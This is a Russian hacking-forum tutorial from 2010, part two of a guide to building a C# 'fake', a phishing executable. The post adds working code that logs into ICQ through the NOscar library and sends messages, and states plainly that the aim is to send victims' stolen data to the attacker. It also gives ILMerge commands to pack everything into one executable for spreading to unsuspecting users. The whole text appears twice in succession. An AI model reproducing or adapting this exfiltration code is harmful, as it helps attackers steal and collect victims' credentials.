Kitsune
23.07.2010, 09:55
> Создание фейка на C# 2.0 Часть 2 <
В данном гайде речь пойдет о добавлении такой возможности, как отправка сообщения в icq.
Для чего нам это?
1. Можно сразу данные жертвы отправлять по ICQ
2. Можно использовать просто как пейджер, при сигнале которого, мы будем знать, что очередная жертва попалась :)
Краткая предыстория:
ICQ - это сложная система, .NET Framework не имеет собственных классов для работы с протоколом OSCAR.
Соответственно, есть 2 варианта:
Напишем сами
Будем использовать уже чье-то готовое
Первый вариант мы отметаем сразу, потому что на это уйдет очень много времени и уровень сложности этого задания очень высок.
Второй вариант нам подходит вполне, после поиска в моем любимом google.com я наткнулся на пару вариантов и остановился на NOscar ([Ссылки могут видеть только зарегистрированные и активированные пользователи]).
Проект NOscar уже старый и не поддерживается, но до сих пор рабочий и спокойно выполняет необходимые для нас функции: подключение, отправка сообщения, отключение.
Саму библиотеку вам необходимо скачать из атача данного поста.
Версия, которую я выкладываю не совсем оригинальная, мной было внесено пару изменений, чтобы можно было отправлять сообщения на русском языке.
Приступаем к делу:
Добавим в наш проект библиотеку NOscar.
Для этого, в обозревателе проекта, по элементу "Ссылки" (Reference) нажмем правой кнопкой -> "Добавить ссылку" (Add Reference).
Перед нам появится окно, переключаемся на 4ую вкладку, "Обзор" (Browse) и указываем путь к библиотеке.
После этого, NOscar появится у нас в списке ссылок в обозревателе проекта.
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Сама библиотека имеет свой неймспейс, а именно "Grunwald.NOscar"
Для простоты использования вами, я написал готовый класс, через который вы все просто сможете сделать.
using System;
using Grunwald.NOscar;
namespace ICQTest
{
public class ICQNotifier
{
private AutomaticConnection connection;
public AutomaticConnection Connection { get { return connection; } }
public void Connect(string uin, string pwd, string server)
{
if (connection != null) connection.Close();
connection = new AutomaticConnection(server, FlapConnection.DefaultPort, uin, pwd);
connection.Start(new System.Threading.ThreadExceptionEventHandler(Error Handler));
}
public void Disconnect()
{
if (connection != null) connection.Close();
}
public void Send(string uin, string message)
{
message = message.Trim();
if (!String.IsNullOrEmpty(message))
{
TlvChain data = new TlvChain();
MessageBlock block = new MessageBlock(message);
data.SetData(0x0002, block.ToByteArray());
data.SetFlag(0x0003);
OutgoingIcbmSnac snac = new OutgoingIcbmSnac(1, uin, data);
Random rnd = new Random();
rnd.NextBytes(snac.IcbmID);
SendSnacSequence.SendSnac(connection, snac,
new EventHandler(delegate { }),
new SnacEventHandler(delegate { }));
}
}
private void ErrorHandler(object sender, System.Threading.ThreadExceptionEventArgs e)
{
//MessageBox.Show(e.Exception.ToString(), "Internal error!!");
}
}
}
Для того, чтобы добавить этот класс вам необходимо:
Правой кнопкой по проекту -> Добавить -> Класс
Название файла вы можете выбрать любое, у меня это: "ICQNotifier.cs".
Содержимое только что созданного файла замените на код представленный выше.
Примечание: в коде представленном выше используется неймспейс ICQTest, можно оставить его или же заменить на тот, который используется у вас в проекте.
Теперь нам осталось только добавить отправку сообщений :)
Откроем наш основной класс, если неймспейс класса описанного выше мы не меняли, тогда в коде нашего класса, добавим использование именного пространства:
using ICQTest;
Так же нам понадобится другой неймспейс
using System.Threading;
Данное именное пространство дает доступ нам к классам отвечающим за потоки и все что с ними связано.
Объявим в теле нашего класса объекты:
private Thread thread;
private ICQNotifier icq;
и добавим 3 метода
private void BeginInforming()
{
thread = new Thread(new ThreadStart(Send));
thread.Start();
}
private void Send()
{
try
{
icq = new ICQNotifier();
icq.Connect("уин", "пароль", "login.icq.com");
icq.Connection.StateChanged += new EventHandler(Connection_StateChanged);
}
catch { }
}
private void Connection_StateChanged(object sender, EventArgs e)
{
if (icq.Connection.State == Grunwald.NOscar.ConnectionState.Active)
{
icq.Send("уин куда отправляем", "текст");
icq.Disconnect();
}
}
Теперь, в метод, который у нас отвечает за отправку письма на Email мы просто добавим вызов метода BeginInforming.
BeginInforming();
После удачного теста:
Мы на руках имеем наш фейк, который отправляет сообщения по ICQ и еще что-то делает :) (Все зависит от вашей фантазии)
Но есть один довольно не хороший момент, теперь рядом с нашим ехе всегда должна находится библиотека NOscar иначе фейк работать не будет.
Можно конечно поставлять нубикам ехе и библиотеку сразу и убеждать их лишний раз.
Но можно и поступить иначе.
Есть такая замечательная утилита как: ILMerge ([Ссылки могут видеть только зарегистрированные и активированные пользователи]).
Скачиваем её, устанавливаем и готовимся творить чудо :)
Путь установки я не менял и позволит произвести её установку в: "C:\Program Files\Microsoft\ILMerge".
Теперь берем 2 наших файла: "наш фейк.ехе" и NOscar.dll и кладем их в папку с ILMerge.exe.
Теперь нам нужно запустить ILMerge.exe вот так:
ILMerge.exe /target:winexe /out:"название нового файла".exe "наш фейк".exe NOscar.dll
Например:
ILMerge.exe /target:winexe /out:fake_new.exe fake.exe NOscar.dll
Тоесть, мы указываем тип приложения Windows Executable, выходной файл: например: fake_new.exe, вместо "наш фейк".ехе указываем название нашего фейка(исполняемого файла) и указываем библиотеку, которую мы склеим с нашим ехе.
После завершения выполнения утилиты мы получим 1 файл, который мы сможем распространять как нам угодно. Библиотека рядом с ехе нам уже не нужна, она вшита в него.
Примечание: Утилита ILMerge может склеивать только исполняемые файлы и библиотеки написанные исключительно на .NET Framework.
В данном гайде речь пойдет о добавлении такой возможности, как отправка сообщения в icq.
Для чего нам это?
1. Можно сразу данные жертвы отправлять по ICQ
2. Можно использовать просто как пейджер, при сигнале которого, мы будем знать, что очередная жертва попалась :)
Краткая предыстория:
ICQ - это сложная система, .NET Framework не имеет собственных классов для работы с протоколом OSCAR.
Соответственно, есть 2 варианта:
Напишем сами
Будем использовать уже чье-то готовое
Первый вариант мы отметаем сразу, потому что на это уйдет очень много времени и уровень сложности этого задания очень высок.
Второй вариант нам подходит вполне, после поиска в моем любимом google.com я наткнулся на пару вариантов и остановился на NOscar ([Ссылки могут видеть только зарегистрированные и активированные пользователи]).
Проект NOscar уже старый и не поддерживается, но до сих пор рабочий и спокойно выполняет необходимые для нас функции: подключение, отправка сообщения, отключение.
Саму библиотеку вам необходимо скачать из атача данного поста.
Версия, которую я выкладываю не совсем оригинальная, мной было внесено пару изменений, чтобы можно было отправлять сообщения на русском языке.
Приступаем к делу:
Добавим в наш проект библиотеку NOscar.
Для этого, в обозревателе проекта, по элементу "Ссылки" (Reference) нажмем правой кнопкой -> "Добавить ссылку" (Add Reference).
Перед нам появится окно, переключаемся на 4ую вкладку, "Обзор" (Browse) и указываем путь к библиотеке.
После этого, NOscar появится у нас в списке ссылок в обозревателе проекта.
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
Сама библиотека имеет свой неймспейс, а именно "Grunwald.NOscar"
Для простоты использования вами, я написал готовый класс, через который вы все просто сможете сделать.
using System;
using Grunwald.NOscar;
namespace ICQTest
{
public class ICQNotifier
{
private AutomaticConnection connection;
public AutomaticConnection Connection { get { return connection; } }
public void Connect(string uin, string pwd, string server)
{
if (connection != null) connection.Close();
connection = new AutomaticConnection(server, FlapConnection.DefaultPort, uin, pwd);
connection.Start(new System.Threading.ThreadExceptionEventHandler(Error Handler));
}
public void Disconnect()
{
if (connection != null) connection.Close();
}
public void Send(string uin, string message)
{
message = message.Trim();
if (!String.IsNullOrEmpty(message))
{
TlvChain data = new TlvChain();
MessageBlock block = new MessageBlock(message);
data.SetData(0x0002, block.ToByteArray());
data.SetFlag(0x0003);
OutgoingIcbmSnac snac = new OutgoingIcbmSnac(1, uin, data);
Random rnd = new Random();
rnd.NextBytes(snac.IcbmID);
SendSnacSequence.SendSnac(connection, snac,
new EventHandler(delegate { }),
new SnacEventHandler(delegate { }));
}
}
private void ErrorHandler(object sender, System.Threading.ThreadExceptionEventArgs e)
{
//MessageBox.Show(e.Exception.ToString(), "Internal error!!");
}
}
}
Для того, чтобы добавить этот класс вам необходимо:
Правой кнопкой по проекту -> Добавить -> Класс
Название файла вы можете выбрать любое, у меня это: "ICQNotifier.cs".
Содержимое только что созданного файла замените на код представленный выше.
Примечание: в коде представленном выше используется неймспейс ICQTest, можно оставить его или же заменить на тот, который используется у вас в проекте.
Теперь нам осталось только добавить отправку сообщений :)
Откроем наш основной класс, если неймспейс класса описанного выше мы не меняли, тогда в коде нашего класса, добавим использование именного пространства:
using ICQTest;
Так же нам понадобится другой неймспейс
using System.Threading;
Данное именное пространство дает доступ нам к классам отвечающим за потоки и все что с ними связано.
Объявим в теле нашего класса объекты:
private Thread thread;
private ICQNotifier icq;
и добавим 3 метода
private void BeginInforming()
{
thread = new Thread(new ThreadStart(Send));
thread.Start();
}
private void Send()
{
try
{
icq = new ICQNotifier();
icq.Connect("уин", "пароль", "login.icq.com");
icq.Connection.StateChanged += new EventHandler(Connection_StateChanged);
}
catch { }
}
private void Connection_StateChanged(object sender, EventArgs e)
{
if (icq.Connection.State == Grunwald.NOscar.ConnectionState.Active)
{
icq.Send("уин куда отправляем", "текст");
icq.Disconnect();
}
}
Теперь, в метод, который у нас отвечает за отправку письма на Email мы просто добавим вызов метода BeginInforming.
BeginInforming();
После удачного теста:
Мы на руках имеем наш фейк, который отправляет сообщения по ICQ и еще что-то делает :) (Все зависит от вашей фантазии)
Но есть один довольно не хороший момент, теперь рядом с нашим ехе всегда должна находится библиотека NOscar иначе фейк работать не будет.
Можно конечно поставлять нубикам ехе и библиотеку сразу и убеждать их лишний раз.
Но можно и поступить иначе.
Есть такая замечательная утилита как: ILMerge ([Ссылки могут видеть только зарегистрированные и активированные пользователи]).
Скачиваем её, устанавливаем и готовимся творить чудо :)
Путь установки я не менял и позволит произвести её установку в: "C:\Program Files\Microsoft\ILMerge".
Теперь берем 2 наших файла: "наш фейк.ехе" и NOscar.dll и кладем их в папку с ILMerge.exe.
Теперь нам нужно запустить ILMerge.exe вот так:
ILMerge.exe /target:winexe /out:"название нового файла".exe "наш фейк".exe NOscar.dll
Например:
ILMerge.exe /target:winexe /out:fake_new.exe fake.exe NOscar.dll
Тоесть, мы указываем тип приложения Windows Executable, выходной файл: например: fake_new.exe, вместо "наш фейк".ехе указываем название нашего фейка(исполняемого файла) и указываем библиотеку, которую мы склеим с нашим ехе.
После завершения выполнения утилиты мы получим 1 файл, который мы сможем распространять как нам угодно. Библиотека рядом с ехе нам уже не нужна, она вшита в него.
Примечание: Утилита ILMerge может склеивать только исполняемые файлы и библиотеки написанные исключительно на .NET Framework.